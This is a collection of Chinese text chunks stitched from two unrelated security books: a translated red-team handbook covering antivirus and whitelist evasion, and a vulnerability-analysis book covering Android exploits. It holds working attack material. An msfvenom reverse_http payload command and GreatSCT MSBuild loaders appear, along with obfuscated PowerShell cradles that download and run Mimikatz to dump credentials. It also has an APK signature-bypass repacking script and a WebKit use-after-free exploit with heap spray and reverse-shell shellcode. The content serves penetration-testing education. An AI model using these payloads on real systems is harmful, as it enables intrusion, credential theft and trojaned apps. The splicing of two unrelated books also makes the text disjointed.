metasploit-payloads\\c\\meterpreter\\output\\x64* metasploit-framework\\data\\meterpreter 最后就是要放到服务器上了。"},
    {"text": "Meterpreter 中的 stage 0 payload 是任何漏洞利用或 payload 的第一阶段。 stage 0 payload 是一段代码，它实现了一个简单的功能：以我们想要的方式（reverse_https，reverse_tcp，bind_tcp 等）进行连接或者监听，然后接收一个 metsrv.dll 文件。"},
    {"text": "从本质上讲，任何 Stage 0 payload 都只是一个美化的“下载并执行” payload，因为这就是所有的 Metasploit 运行的方式，所以在许多反病毒解决方案中都有针对 Metasploit 特定行为的高级签名和启发式分析——哪怕修改 shellcode 并添加花指令也仍然会因启发式分析而被标记为恶意。"},
    {"text": "为了解决这个问题，我们编写了自己的 Stage 0，它执行相同的功能（在内存中下载和执行）：我们复制 Meterpreter 的 reverse_https payload 的下载调用，从服务器获取 metsrv.dll，然后将其注入到内存中并执行它。"},
    {"text": "由于 exploit 环境的限制,可能不能一下子把 stage 传过去,需要先传一个 stager，stager 在攻击者和攻击目标之间建立网络连接，之后再把 stage 传过去进行下一步的行动。"},
    {"text": "也即是说,你已经有了和攻击目标之间的连接会话,你可以传送数据到攻击目标上，之后 meterpreter 与 target 之间的交互就都是和发送过去的反射 dll 进行交互。"},
    {"text": "参考资料: Meterpreter 载荷执行原理分析 关于 stage 0 了解更多: 探寻 Metasploit Payload 模式背后的秘密 这里提供的 payload 具体示例具有一些更高级的功能。"},
    {"text": "创建 payload（完整的 payload 位于 这里 ）： 在 VS 2013中，打开 metasploit-payloads\\c\\x64_defender_bypass\\x64_defender_bypass.vcxproj 在 x64_defender_bypass 下有一个 settings.h 文件。"},
    {"text": "确保将构建模式设置为 Release 并编译 x64 保存并构建 在 metasploit-payloads\\c\\x64_defender_bypass\\x64\\Release 下，将创建一个新的二进制文件 x64_defender_bypass.exe 。"},
    {"text": "例如，你可以： 使用 clang 混淆工具链来构建 对所有字符串使用字符串加密库 更改 Meterpreter 入口点（目前是 Init ） 创建一个自动化脚本，为所有 payload 类型添加空指令（nops） 编辑 payload 生成的实际 ruby，以便在每次运行时随机化 payload SharpShooter 作为红队队员，最耗时的事情之一就是创建可以躲避新一代杀毒软件和沙盒安全机制的 payload。"},
    {"text": "一个名为 SharpShooter 的工具采用了许多反沙盒技术和 James Forshaw 的 DotNetToJScript 来执行 Windows 脚本格式的 shellcode（CACTUSTORCH工具—— https://github.com/mdsecactivebreach/CACTUSTORCH ）。"},
    {"text": "” 让我们快速把一个示例走一遍： python SharpShooter.py --interactive 1 - For .NET v2 Y - Staged Payload 1 - HTA Payload 可以选择使用以下防沙盒技术： 你可以选择你想用的技术来绕过沙盒机制从而成功的执行你的恶意软件。"},
    {"text": "[1] Key to Domain [2] 确保 Domain 加入 [3] 检查沙盒痕迹 [4] 检查错误的 MAC 地址 [5] 检查调试 1 - 网络传输 Y - 内置 shellcode 模板 shellcode 作为一个字节数组 打开一个新终端并创建一个 C# 语言的 Meterpreter payload msfvenom -a x86 -p windows/meterpreter/reverse_http LHOST=10.100.100.9 LPORT=8080 EnableStageEncoding=True StageEncoder=x86/shikata_ga_nai -f csharp 复制 { 和 } 之间的所有内容并作为字节数组提交 为 C# 网络传输提供 URI 输入攻击者机器的IP/端口和文件。"},
    {"text": "示例： http://10.100.100.9/malware.payload 提供输出文件的文件名 恶意软件 Y - 你想将 payload 嵌入到 HTML 文件中吗？ 使用自定义（1）或预定义（2）模板 要进行测试，请选择任意预定义模板 将新创建的恶意文件移动到你的 Web 目录下 mv output/* /var/www/html/ 为你的 payload 建立一个 Meterpreter 处理程序（handler） 配置和开发了恶意软件后，将其移至 Web 目录（malware.hta，malware.html，malware.payload），启动 apache2 服务，然后启动你的 Meterpreter 处理程序。"},
    {"text": "补充信息： https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/ https://github.com/mdsecactivebreach/SharpShooter 应用程序白名单绕过 我们已经讨论了在不运行 PowerShell 代码的情况下触发 PowerShell 的不同方法，但如果你无法在 Windows 系统上运行自定义二进制文件，该怎么办？"},
    {"text": "我们可以对 MSBuild 使用 XML 项目文件格式这个特性进行利用，我们可以使用名为 GreatSCT 的工具创建我们自己的恶意 XML 项目文件来执行 Meterpreter 会话，从而利用此特性。"},
    {"text": "这将要求我们将 XML 文件写入受害系统并使用 MSBuild 来执行该 XML 文件： git clone https://github.com/GreatSCT/GreatSCT.git /opt/ cd /opt/GreatSCT python3 ./gr8sct.py [4] MSBUILD/msbuild.cfg 填写你的主机IP[0]和端口[1] 生成 使用 Metasploit 创建一个新的 windows/meterpreter/reverse_http 的监听器 在我们的 Kali 实例中，我们使用 GreatSCT 来创建 shellcode.xml 文件，该文件包含构建信息和一个 Meterpreter 反向 http shell。"},
    {"text": "在 Windows 受害者计算机上执行文件调用后，使用 C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe shellcode.xml 命令，.NET 将开始构建 shellcode.xml 文件。"},
    {"text": "以下是一些额外的资料： 使用 Windows 默认可执行文件的大量示例： https://github.com/api0cradle/UltimateAppLockerByPassList 使用 REGSRV32 和 PowerShell Empire： https://www.blackhillsinfosec.com/evade-application-whitelisting-using-regsvr32/ 通过 Excel.Application 的 RegisterXLL() 方法执行 DLL: https://rileykidd.com/2017/08/03/application-whitelist-bypass-using-XLL-and-embedded-shellcode/ 利用 INF-SCT 获取并执行绕过、规避查杀和持久化技术： https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/ 利用 Regsvr32 绕过 Applocker： https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/ 代码洞（Code Caves） 与任何红队行动一样，我们一直在寻找创造性的方式在环境中横向移动或保持持久性。"},
    {"text": "可以在此处找到这两个资源： https://haiderm.com/fully-undetectable-backdooring-pe-file/#Code_Caves https://www.abatchy.com/2017/05/introduction-to-manual-backdooring_24.html 译者注: 经验证，上两个链接都已经404了。"},
    {"text": "我们都看过像这样的 PowerShell 命令： Powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass IEX ( New-Object Net.WebClient).DownloadString(‘[PowerShell URL]’); [Parameters] 这是我们可能看到的最基本的 powershell 调用指令的字符串组合，可以用于绕过执行策略，来以隐藏窗口的模式（后台运行无弹窗）自动下载和执行 powershell payload。"},
    {"text": "例如，对于 -ExecutionPolicy Bypass ，所有下列示例都可以生效: -ExecutionPolicy Bypass -ExecutionPol Bypass -Executio Bypass -Exec Bypass -Ex Bypass 这些技术也同样适用于 WindowStyle 甚至 EncodedCommand 参数。"},
    {"text": "首先，我们可以使用一个非常简单的示例来执行我们的远程 PowerShell 脚本（在本例中为 Mimikatz）并使用以管理员身份运行的 PowerShell 提示符来转储哈希值： Invoke-Expression (New-Object Net.WebClient).DownloadString(‘ http://bit.ly/2JHVdzf’ ); Invoke-Mimikatz -DumpCreds 译者注： WindowStyle 和 EncodedCommand 是 PowerShell.exe 的选项参数。"},
    {"text": "以下附上关于 Invoke-Expression 的更多参考资料： Invoke-Expression Invoke-Expression 帮助信息 通过 Invoke-Obfuscation 混淆框架，我们可以使用以下几种不同的技术对这个字符串进行深度混淆： 在 Windows 上，下载用于 Invoke-Obfuscation 的 PowerShell 文件（ https://github.com/danielbohannon/Invoke-Obfuscation ） 加载 PowerShell 脚本并启动 Invoke-Obfuscation Import-Module ./Invoke-Obfuscation.psd1 Invoke-Obfuscation 设置要混淆的 PowerShell 脚本。"},
    {"text": "在这个例子中，我们将混淆上面的 Mimikatz 哈希值下载转储脚本 SET SCRIPTBLOCK Invoke-Expression (New-Object Net.WebClient).DownloadString(‘ http://bit.ly/2JHVdzf’ ); Invoke-Mimikatz -DumpCreds 对 payload 进行编码 ENCODING 在这个例子中，我选择了 SecureString（AES），但你可以把所有这些混淆技术都试一试。"},
    {"text": "我们也可以回到主屏幕并创建混淆的 launcher： main launcher CLIP++ 选择你的执行 flag 更棒的是，查看 Windows PowerShell 日志我们会发现，如果脚本是混淆的，日志中也仅仅是记录了混淆后的东西。"},
    {"text": "除了 Invoke-Obfuscation 之外，Daniel 还创建了一个名为 Invoke-CradleCrafter 的工具，该工具专注于远程下载 cradle，是一个 PowerShell 2.0+ 版本兼容的 PowerShell 远程下载 cradle 生成器和混淆器。 Invoke-CradleCrafter 的 github README 文档中介绍说，“Invoke-CradleCrafter 的存在是为了帮助蓝队和红队轻松探索、生成和混淆 PowerShell 远程下载 cradle。"},
    {"text": "Invoke-CradleCrafter 可以检测 Invoke-Obfuscation 产生的输出，但是在处理 Invoke-CradleCrafter 时可能会失败，因为它不包含任何字符串拼接、编码、复选标记、类型转换等”。"},
    {"text": "参考资料： Powershell Download Cradles 不使用 PowerShell.exe 执行 PowerShell 脚本 你最终在一个目标机器上找到了远程代码执行漏洞，但是你发现无法运行 PowerShell.exe 或该公司正在监视 PowerShell.exe 的命令。"},
    {"text": "NPS_Payload（ https://github.com/trustedsec/nps_payload ） 对 NPS 的另一种实施思路是 TrustedSec 的一个工具，通过 MSBuild.exe 执行代码。 此工具将生成 PowerShell payload 到一个 msbuild_nps.xml 文件中，该文件在调用时执行。"},
    {"text": "此 XML 文件可以通过以下方式调用： C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe C:\\ SharpPick SharpPick 是 PowerPick 的一个组件，它是一个很棒的工具，允许你在不调用 PowerShell.exe 二进制文件的情况下调用 PowerShell。"},
    {"text": "” [ http://www.sixdub.net/?p=555 ] 下载 SharpPick 后，你可以使用你的 PowerShell Empire payload 并创建二进制文件。 有关如何设置环境和构建 payload 的完整演练，请访问： http://www.sixdub.net/?p=555 https://bneg.io/2017/07/26/empire-without-powershell-exe/ 有时我们可能没办法在主机系统上放一个二进制文件。"},
    {"text": "当然，这些 DLL 文件的创建可以由 Meterpreter 或 Cobalt Strike 自动完成，但是好在我们可以灵活地运行特定的 PowerShell payload，而无需调用 PowerShell.exe。"},
    {"text": "译者注 译者找到的额外参考资料: 关于 rundll32.exe 的文章： 利用 rundll32.exe 运行 dll 绕过杀毒软件 关于不使用 PowerShell.exe 执行 PowerShell 脚本的文章： PowerShell: Malwares use it without powershell.exe HideMyPS HideMyPS 是一个我几年前写的工具，至今它仍然广受好评。"},
    {"text": "例如，如果我们在带有 Windows Defender 的 Windows 系统上丢下了原生的 Invoke-Mimikatz.ps1 ，微软杀毒软件将立即启用查杀功能捕获 PowerShell 脚本并发送警告。"},
    {"text": "因此，我整理了一个小的 Python 脚本，该脚本采用 PowerShell 脚本并对所有字符串进行混淆处理（仅使用少量脚本对其进行测试，因此它远不及生产代码）。"},
    {"text": "对于下一个例子，让我们使用 Invoke_Mimikatz.ps1 并对其进行混淆： cd /opt/HideMyPS python hidemyps.py invoke_mimikatz.ps1 [filename.ps1] 现在，看看原始文件和你创建的新文件之间的区别。"},
    {"text": "这就是为什么理解潜在保护体系的工作机制、编写底层代码以直接与 Windows API 而不是 shell 命令进行交互，以及跳出框框进行创造性思考这些能力是非常重要的。"},
    {"text": "第9章 两分钟的训练——从零到英雄 第9章 两分钟的训练——从零到英雄 第9章 两分钟的训练——从零到英雄 译者： @Snowming 校对者：@匿名jack 随着时间的推移，直到测试的最后一天你都还没有从目标外部网络取得比较好的突破。"},
    {"text": "因为你需要进入目标内网，了解他们公司的网络布局，获得一些敏感文件或者代码，然后找到更多的网段和高权限用户，最终需要拿到 Cyber Space Kittens 公司太空计划的相关资料，此时你感觉压力很大。"},
    {"text": "你暂时没法找到这个网站程序的漏洞，但是你注意到这个 CSK 论坛网站是给 CSK 内部员工和普通用户共同使用的，用于发布他们太空项目相关的问题、评论和其他事情。"},
    {"text": "”Neil 没有意识到他访问的网页有一个定制的 JavaScript 的 payload，这段 JS 代码在他的机器后台运行，扫描机器所在的 CSK 内部网络，并且危及未经身份验证的 Jenkins 和 Tomcat Web 服务器。"},
    {"text": "30码线 当你顺利撕开目标的一道口子，你意识到 CSK 的网络防御部门重新设置防火墙配置、DNS 配置和进行主机屏蔽只是时间问题，所以你需要快速移动。"},
    {"text": "受感染的主机已经激活 beacon 并且开始运行 Bloodhound 等工具，查找本地存储的密码相关文件，设置注册表的值来使 Mimikatz 工具能够捕获 LSASS 进程存储的密码，运行 SPN（Kerberos 服务主体名称）并转储所有 Kerberos 票证，当然还可以在计划任务中做一些持久化渗透的设置。"},
    {"text": "你仔细阅读 Bloodhound 的输出结果，发现这台受害的机器是属于 Neil Pawstrong 的，并且 Neil 的 AD 账户（域账户）可以访问另一个属于 Buzz Clawdrin 的机器。"},
    {"text": "但是因为你使用的是 Cobalt Strike（ https://www.cobaltstrike.com/help-smb-beacon ），因此你知道它有一个强大的功能，可将内网断网主机和你当前已控的 beacon 进行 SMB 管道连接上线。"},
    {"text": "但你要记住，红队渗透评估的目的是为了了解公司或组织发现恶意攻击活动的速度有多快（CSK 公司并没有发现），以及他们执行应急响应、取证和缓解攻击带来的负面影响的速度有多快。"},
    {"text": "所以在最后你尝试触发 CSK 的蓝队采取行动，运行了一个 powershell 脚本（ https://github.com/EmpireProject/Empire/blob/master/data/module_source/trollsploit/Get-RickAstley.ps1 ）。"},
    {"text": "继续教育 继续教育 继续教育 译者： @Snowming 一个我总是被读者问到的问题是：我现在该做什么？他们说: 我已经读了所有的The hacker playbook书籍，参加了各种培训课程，还参加了一系列会议……接下来我应该做什么呢?基于此，我可以给你最好的建议是，你应该开始从小项目开始做起，为安全社区做贡献。这是真正测试你的技能和提高水平的最好方法。 一些可能有用的想法： 建立一个博客和你自己的 Github 帐户 ：你应该写一下你所有的经历和所学。虽然你向世界分享了它，但它真的对你个人成长更有帮助。强迫自己把你正所学的写进博客将帮助你提高写作水平，更好地解释漏洞/使漏洞以易于理解的方式被展现，并确保你充分了解所学的内容。 你的简历应该是你的 Github 帐户 ：我总是告诉我的学生你的 Github 帐户（或博客）应该能够有自己的一席之地。不管它是只是关于很多小型安全项目（比如让工具更高效）还是你自己做的安全项目，你应该在 Github 上声明你所做的工作。 在当地会议上发言 ：演讲可能极其令人畏惧，但如果你的简历上有你的演讲经历，你会远远优秀于同圈子中的其他人。你能找到可以演讲的地方吗？我会建议你从你当地的聚会开始（meetup.com），找到团体并积极参与。这些团体通常很小，但每个人都非常友好。如果你在南加利福尼亚地区，那正好，我创立并经营着LETHAL（meetup.com/LETHAL），这是一个由社区驱动的免费安全组，不同成员每月出席一次。无论如何，参与其中！ 漏洞赏金计划 ：无论你是处于进攻还是防守的一方，赏金计划可以真正帮助你提高你的游戏水平。像 HackerOne，BugCrowd, SynAck, 补天等漏洞赏金项目程序可以免费注册。通过这样，你不止可以赚到不错的收入，也可以合法地破解他们的网站。（当然，这仍然在他们的计划范围内）。 参加 CTF ：我知道很难有足够的时间去做我提到的以上所有事。但我总是告诉我的学生，做安全不是工作--它是一种生活方式。去 CTFTime.org，挑选一些CTF，在周末参与 CTF，黑掉他们的网站。相信我，你在 CTF 的周末中能学到的比你上过任何班级的还要多。 与朋友一起建立一个实验室 ：除非你复制一个极度类似企业环境的测试实验室，否则你很难练习真实的脚本。没有这个测试环境，你就不会真正理解在所有攻击工具成功运行的背后发生了什么。因此，必须建立一个包含 VLAN，Active Directory，服务器，GPO，用户和计算机，Linux 环境，Puppet，Jenkins 以及所有常用工具的完整的实验室。 向坏人学习 ：对于红队来说，这是最重要的一点。我们的作战不应该是理论上的，而是复制另一个真正的攻击。密切关注最新的 APT 报告，并确保 你足够了解对手和了解如何改变他们的攻击。 订阅 The Hacker Playbook ：了解最新的 The Hacker Playbook 新闻。请在此订阅 http://thehackerplaybook.com/subscribe/ 。 培训 ：如果你正在寻找一些培训，请联系我们 http://thehackerplaybook.com/training/ 关于作者 关于作者 关于作者 译者： @Snowming 作者 Peter Kim 从事信息安全行业超过14年，在渗透测试/红队领域工作超过12年。 他曾服务于多家公用事业公司、财富1000娱乐公司、政府机构以及大型金融机构。虽然他最为知名的是 一书系列，但他却热衷于建立一个“安全”的安全社区，指导学生并培训他人。他创立并维护着南加州最大的一家技术安全俱乐部“LETHAL”（www.meetup.com/LETHAL ），并在他的网站 LETHAL Security（lethalsecurity.com）进行私人培训，同时他还经营一家渗透测试公司，名为Secure Planet（www.SecurePla.net）。 Peter 在他的《The Hacker Playbook》系列的主要目标是向读者灌输激情，让他们跳出思维定式。随着安全环境不断变化，他希望帮助下一代人建立专业的安全知识和素养。 如有以下任何一种情况，请随时联系 Peter Kim： 关于这本书的问题：book@thehackerplaybook.com 有关私人培训或渗透测试的咨询：secure@securepla.net Twitter：@hackerplaybook"},
    {"text": "index 506 漏洞战争：软件漏洞分析精要 图10-53 调用verifySignature函数校验证书信息 图10-54 判断CERT.RSA证书对CERT.SF的文件签名是否正确 （4）在返回证书链时，对于自签名证书，直接作为合法证书返回，如图10-55所示。"},
    {"text": "正是由于 Android允许自签名才导致很多重打包引发的安全问题，特别是许多恶意软件经常通过重打包的方式 将恶意代码插入流行软件中，再放到各个Android市场供用户下载。"},
    {"text": "（5）继续回到verifyCertificate函数，它会校验SF文件中的MANIFEST.MF中各项Hash值是否正 确，防止MF文件被篡改，如图10-56和图10-57所示。 第10章 Android平台漏洞分析 507 图10-55 支持自签名证书 图10-56 校验SF文件中的MANIFEST.MF中各项Hash值是否正确 508 漏洞战争：软件漏洞分析精要 图10-57 verify函数 （6）对于非系统应用，枚举除META-INF目录以外的所有文件，然后进行哈希运算，并将其与 MANIFEST.MF中的各文件哈希值进行比对，只有相匹配后才允许安装应用，如图10-58～图10-60所示。 图10-58 CollectCertificates函数 图10-59 枚举除META-INF目录以外的所有文件，然后进行哈希运算 第10章 Android平台漏洞分析 509 图10-60 各文件哈希必须与MANIFEST.MF中的各文件哈希值匹配才允许安装 总结，在Android应用签名验证过程中，满足以下条件才能安装应用。"},
    {"text": "（1）SHA-1（除 META-INF 目录外的文件）= MANIFEST.MF 中的各 SHA-1 值。 （2）（SHA-1 + Base64）（MANIFEST.MF 文件及各子项）= CERT.SF 中各值。"},
    {"text": "以网易新闻应用为例，如果读者直接将修改后的classes.dex替换原classes.dex，那么在安装时会 提示验证失败，无法安装应用（如图10-61所示），但是利用本节的签名漏洞可以绕过此限制。"},
    {"text": "表10-1 测试环境 推荐使用的环境 备注 操作系统 Windows 7 简体中文版 手机系统 HTC G14 版本号：Android 4.0.1 反编译器 Android Killer 版本号：1.2.0.0 正式版 我们先看看外面公开的利用代码，其原理就是在原APK包中放置两个同名的classes.dex，其中一 个是被修改的： 510 漏洞战争：软件漏洞分析精要 #!/bin/bash # PoC for Android bug 8219321 by @pof # +info: https://jira.cyanogenmod.org/browse/CYAN-1602 if [ -z $1 ]; then echo \"Usage: $0 <file.apk>\" ; exit 1 ; fi APK=$1 rm -r out out.apk tmp 2>/dev/null java -jar apktool.jar d $APK out #apktool d $APK out echo \"Modify files, when done type 'exit'\" cd out bash cd .. java -jar apktool.jar b out out.apk #apktool b out out.apk #echo \"out.apk done, when done type 'exit'\" #bash mkdir tmp mkdir tmp/orgin mkdir tmp/dirty cd tmp/ unzip ../$APK unzip ../out.apk -d ./dirty mv classes.dex ./orgin cat >poc.py <<-EOF #!/usr/bin/python import zipfile import sys z = zipfile.ZipFile(sys.argv[1], \"a\") z.write(sys.argv[2]) z.close() EOF chmod 755 poc.py for f in `find . -type f |egrep -v \"(poc.py|out.apk|dirty/|orgin/)\"` ; do ./poc.py out.apk \"$f\" ; done cp ./dirty/classes.dex ./ ./poc.py out.apk classes.dex rm classes.dex cp ./orgin/classes.dex ./ 第10章 Android平台漏洞分析 511 ./poc.py out.apk classes.dex cp out.apk ../evil-$APK cd .. rm -rf tmp out echo \"Modified APK: evil-$APK\" 上述代码依赖其他工具和系统环境，不是很稳定，而且即使运行成功，也依然会发生如图10-61 所示的错误，因为这里忽略了一处重要问题：APK包中两个classes.dex的先后顺序，正是基于此才导 致许多朋友测试失败的。 该问题可通过先将恶意classes.dex放入APK包中，再将正常classes.dex放入 APK包得到解决。 为了提高稳定性，笔者专门提取了上面shell脚本中的poc.py，其文件内容如下： #!/usr/bin/python import zipfile import sys z = zipfile.ZipFile(sys.argv[1], \"a\") z.write(sys.argv[2]) z.close() 使用该poc.py即可将同名文件打包入APK包里。 以网易新闻为例，先提取里面正常的classes.dex， 重命名为org.classes.dex，然后删除APK包中的classes.dex，如图10-62所示。 图10-62 删除APK包中的原classes.dex 接下来备份修改的classes.dex，笔者在其中添加了一个toast提示框，提示内容为“Hacked By riusksk”，可以直接借助Android Killer反编译工具修改，先用它反编译网易新闻，找到入口Activity 为com.netease.nr.biz.ad.AdActivity，如图10-63所示。 512 漏洞战争：软件漏洞分析精要 图10-63 网易新闻的入口Activity 双击左侧栏的AdActivity.smali查看对应的smali代码，找到onCreate函数，右击选择“插入代码” →“toast输出”（如图10-64所示）就会自动生成相应的smali代码（如图10-65所示），这也是Android Killer工具相对其他Android逆向工具的一大优势。 图10-64 选择插入代码的功能 第10章 Android平台漏洞分析 513 图10-65 自动生成smali代码 然后按“Ctrl + S”组合键保存代码，如果不保存的 话，直接按编译是不会编译添加的代码的。 保存后按左上 角的编译按钮（如图10-66所示），编译过程及生成的APK 路径都会在“日志输出”窗口里输出，如图10-67所示生 成newreader_killer.apk，直接提取里面的classes.dex，重命 图10-66 编译当前APK工程 名为evil.classes.dex，即是我们需要的恶意dex文件。 图10-67 编译日志 接下来，把evil.classes.dex、org.classes.dex、poc.py和删除dex的newreader.apk放置在同一个目录 下，然后执行如图10-68所示的命令。 图10-68 打包同名dex文件入APK 514 漏洞战争：软件漏洞分析精要 最后，生成包含两个同名classes.dex的APK包，如图10-69所示。 图10-69 包含两个同名classes.dex的APK包 笔者在HTC G14（Android 4.0.1）实体机上成功安装修改后的APK，打开网易新闻后成功弹出我 们前面插入的toast消息，如图10-70所示。 图10-70 成功执行插入的代码 10.5.4 漏洞原理分析 Android系统在进行签名校验前会先进行zip解压缩（即解析APK包），但如果此时包含两个同名 同路径的文件（zip压缩包中每个文件或者目录均对应一个Entry，这些共同组成Entry链表），比如两 个classes.dex，解压缩时后者会覆盖前者，如图10-71所示。"},
    {"text": "第10章 Android平台漏洞分析 515 图10-71 解压缩时恶意文件被替换为正常文件 此 处 的 操 作 对 应 Android 系 统 源 码 中 的 readCentralDir 函 数 ， 源 码 位 于 ： https://android. googlesource.com/platform/libcore/+/android-4.2.2_r1.2/luni/src/main/java/java/util/zip/ZipFile.java（根据 修复代码的位置进行定位，具体见漏洞修复一节）。"},
    {"text": "如图10-72所示，其中mEntries是个Hashmap结构， 里面的索引正是对应压缩包里的文件名，如果遇到同名文件，后一个文件信息会覆盖前一个同名文 件信息。 图10-72 遍历提取压缩包里的各个文件，若到同名文件则后一个文件会覆盖前一个 但是Android在执行程序时，会先在zip中搜索dex文件，只要一匹配就返回函数，即每次在搜索 dex文件时，它都会以第一 个dex文件为准，刚好与zip 的解压顺序是相反的。"},
    {"text": "该过程对应的 是 dexZipFindEntry 函 数 ， 源 码 位 于 https://android. googlesource.com/platform/ dalvik/+/gingerbread%5E2/ libdex/ZipArchive.c ， 如 图10-73所示。 图10-73 dexZipFindEntry函数 516 漏洞战争：软件漏洞分析精要 10.5.5 漏洞修复 谷歌已经对该漏洞发布了补丁，如图10-74所示是补丁源码比较情况（链接：https://android. googlesource.com/platform/libcore/+/38cad1eb5cc0c30e034063c14c210912d97acb92%5E!/），主要增加 了下列判断语句： If ( mEntries.put(newEnry.getName(), newEntry) != null ) 即当zip压缩中存在两个或者两个以上相同路径的文件时就抛出异常提示。"},
    {"text": "图10-74 补丁代码比对 10.6 CVE-2010-1119 Android WebKit UAF漏洞 10.6.1 漏洞描述 2010年11月，首个Android浏览器的远程利用漏洞被公开，影响Android 2.0~2.1.1版本，由于当时 不少第三方浏览器也使用系统WebKit内核，导致它们也受漏洞影响。"},
    {"text": "表10-2 分析环境 推荐使用的环境 备注 操作系统 Mac OS X 版本号：10.10.4 Android 系统 Android 2.1 模拟器 调试器 IDA Pro 版本号：6.6 可导致崩溃的PoC代码如下： <html> <head> <script language=\"JavaScript\"> function heap() { var id = document.getElementById(\"target\"); var attribute = id.getAttributeNode('id'); nodes = attribute.childNodes; document.body.removeChild(id); attribute.removeChild(nodes[0]); setTimeout( function() { for (var i = 0; i < 10000; i++) { var s = new String(unescape(\"\\u4141\\u4141\")); }; nodes[0].textContent }, 0); } </script> </head> <body onload=heap()> <p id=\"target\"></p> </body> </html> 将上述HTML网页放置在服务器上，然后在Android模拟器里用系统自带浏览器打开，在Log日 志中（可借助DDMS或者adb logcat查看）可以看到崩溃时的信息，如图10-76所示，它引用内存地址 0x41414195时触发异常，此时的PC寄存器指向libwecore.so文件偏移地址0x0004a57a。 518 漏洞战争：软件漏洞分析精要 图10-76 崩溃信息 用以下命令将/system/lib/libwebcore.so提取到本地： adb pull /system/lib/libwebcore.so 然后用IDA加载它，并按“G”键输入“4a57a”（如果加载基址不为0，则该值需要加上相应的 基址）跳转到相应地址，如图10-77所示。"},
    {"text": "其中的 0x41414141也是利用heap spray的方法将r0指向内存占位的： for (var i = 0; i < 10000; i++) { var s = new String(unescape(\"\\u4141\\u4141\")); }; 同样地，我们也可以采用堆喷射的方式，将Shellcode喷射至R0+0x54指向的内存地址： setTimeout(function() { for (var i = 0; i < 70000; i++) {var s = new String(unescape(\"\\u0058\\u0058\")); }; 第10章 Android平台漏洞分析 519 var scode = unescape(\"\\u0060\\u0060\"); var scode2 = unescape(\"\\u5005\\ue1a0\"); var shell = unescape(\"\\u0002\\ue3a0\\u1001\\ue3a0\\u2005\\ue281\\u708c\\ue3a0\\u708d\\ue287\\u0080\\uef00\\u600 0\\ue1a0\\u1084\\ue28f\\u2010\\ue3a0\\u708d\\ue3a0\\ \\u708e\\ue287\\u0080\\uef00\\u0006\\ue1a0\\u1000\\ue3a0\\u703f\\ue3a0\\u0080\\uef00\\u0006\\ue1a0\\u1 001\\ue3a0\\u703f\\ue3a0\\u0080\\uef00\\u0006\\ue1a0\\u1002\\ue3a0\\u703f\\ue3a0\\u0080\\uef00\\u2001 \\ue28f\\uff12\\ue12f\\u4040\\u2717\\udf80\\ua005\\ua508\\u4076\\u602e\\u1b6d\\ub420\\ub401\\u4669\\u4 052\\u270b\\udf80\\u2f2f\\u732f\\u7379\\u6574\\u2f6d\\u6962\\u2f6e\\u6873\\u2000\\u2000\\u2000\\u2000 \\u2000\\u2000\\u2000\\u2000\\u2000\\u2000\\u0002\"); shell += unescape(\"\\uae08\"); // Port = 2222 shell += unescape(\"\\u000a\\u0202\"); // IP = 10.0.2.2 shell += unescape(\"\\u2000\\u2000\"); // string terminate do{ scode += scode; scode2 += scode2; } while (scode.length<=0x1000); scode2 += shell target = new Array(); for(i = 0; i < 300; i++){ if (i<130){ target[i] = scode;} if (i>130){ target[i] = scode2;} document.write(target[i]); document.write(\"<br />\"); if (i>250){ nodes[0].textContent } } }, 0); // end setTimeout 下面用IDA调试（笔者使用的是Mac OS X系统环境），首先将IDA中的android_server复制到 Android模拟器中，然后以Root权限启动它： riusksk@MacBook:/Applications/idaq.app/Contents/MacOS $ adb push android_server /data/local/tmp/android_server 520 漏洞战争：软件漏洞分析精要 riusksk@MacBook:/Applications/idaq.app/Contents/MacOS $ adb forward tcp:23946 tcp:23946 riusksk@MacBook:/Applications/idaq.app/Contents/MacOS $ adb shell # id uid=0(root) gid=0(root) # cd /data/local/tmp # chmod 776 android_server # ./android_server IDA Android 32-bit remote debug server(ST) v1.14. Hex-Rays (c) 2004-2011 Listening on port #23946... 同时，在IDA上方选择调试器“Remote ARM Linux/Android debugger”（如图10-78所示），然 后单击“Debugger”→“Attach to process”附加进程，并设置调试参数，分别如图10-79和图10-80 所示。"},
    {"text": "图10-78 选择调试器 图10-79 选择附加进程的菜单 图10-80 设置调试参数 单击“OK”按钮后弹出Android模拟器进程列表，选择浏览器进程“com.android.browser”，如 图10-81所示。 第10章 Android平台漏洞分析 521 图10-81 Android模拟器进程列表 单击“OK”按钮弹出如图10-82所示的确认框，选择“Same”按钮即可开始调试。 图10-82 确认调试模块与输入文件是否一致 在“modeles”窗口中选择libwebcore.so模块，然后单击鼠标右键从弹出的快捷菜单中选择“Jump to module base”（如图10-83所示），接着，在图10-77所示的0x4A57A地址下断点，这里的加载基址 522 漏洞战争：软件漏洞分析精要 是0xAA000000（如图10-84所示），因此断点地址应该是0xAA04A57A，如图10-85所示。 图10-83 跳转到libwebcore模块基址 图10-84 libwebcore.so模块基址 图10-85 设置断点 单击运行后，在Android浏览器中打开Exploit页面，被断下，可以看到堆喷射已起作用，将R0所 在内存全都填充为0x00600060，包括R0+0x54所在内存也被覆盖为0x00600060，如图10-86所示。"},
    {"text": "图10-86 将R0所在内存全都填充为0x00600060 单步执行到BLX R2指令，最终导致进程跳转到地址0x00600060上执行代码，如图10-87所示。"},
    {"text": "图10-88 NOP指令 一直往后执行，0x00600060之后就是一段0x5005E1A0（即mov r5, r5），也相当于NOP指令，就这 样一直滑行到Shellcode代码，如图10-89所示，最终开启端口2222留取后门，实现图10-90所示的效果。"},
    {"text": "图10-90 漏洞利用原理图 10.6.3 通过补丁源码分析漏洞成因 触发漏洞的关键是如下两行代码，如图10-91所示 图10-91 触发漏洞的关键代码 一 句 移 除 属 性 节 点 ， 一 句 引 用 节 点 ， 典 型 的 UAF 漏 洞 形 式 ， 原 PoC 中 的 document.body. removeChild(id)并不是漏洞的关键，移除后依然可以触发。 为了更方便地理解代码，可以在电脑上直 接用chrome调试PoC，然后在attribute.removeChild一句上下断点，可以看到其执行前后的变化，执行 前的情况如图10-92所示。"},
